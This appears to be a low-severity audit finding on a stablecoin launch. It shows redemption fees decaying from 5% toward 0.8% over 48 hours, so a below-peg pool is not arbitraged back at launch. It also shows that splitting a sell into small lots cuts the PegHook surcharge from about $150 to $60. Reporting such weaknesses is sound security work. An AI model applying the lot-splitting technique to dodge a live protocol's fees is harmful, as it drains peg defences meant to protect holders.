State: BetaConfig deployed and sealed at T0 (Parameters.listedAt(ilk) = T0); no redemption yet; PegHook.buffer == 0, outstanding == 0. Input: Redeemer.feeFor(ETH ilk, 1e18) at T0, T0+12h, T0+24h, T0+36h, T0+48h. Expected (for a launch whose only below-peg bid is redemption): a fee at or under the toll wall (<= 1%) so a -1% pool is arbitraged back. Actual: 0.05e18, 0.03e18, 0.0175e18, 0.01125e18, 0.0081e18 (decayedBaseRate = 0.05 x 0.5^(t/12h), SECOND_DECAY^43200 = 0.5, plus redeemFloor 0.005, capped at 0.05). Pool side: 20 exact-input sells of 500 imdUSD into a pool with ~$2.5k per 0.25% end at -0.25%..-1%; PegHook.surchargeFor at each lot's end price gives 0 for lots 1-5 and SOFT_CAP x (dev - 25bp)/75bp for dev = 30..100 bp, summing to about $60 of toll (vs $150 for one $10k swap); PegHook.withdraw() does nothing because outstanding == 0 and buffer == 0. Checked against Redeemer.sol:83-94 and PegHook.sol:567-584 and the constants at PegHook.sol:96-98; the existing test/unit/PegHook.t.sol toll-curve tests give the toll figures. No new test written for this low.

---

Judge's submission `4508800ecf8019cacc0490bda2d40bc81543153459c354f9699c4f95c8a79df5`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
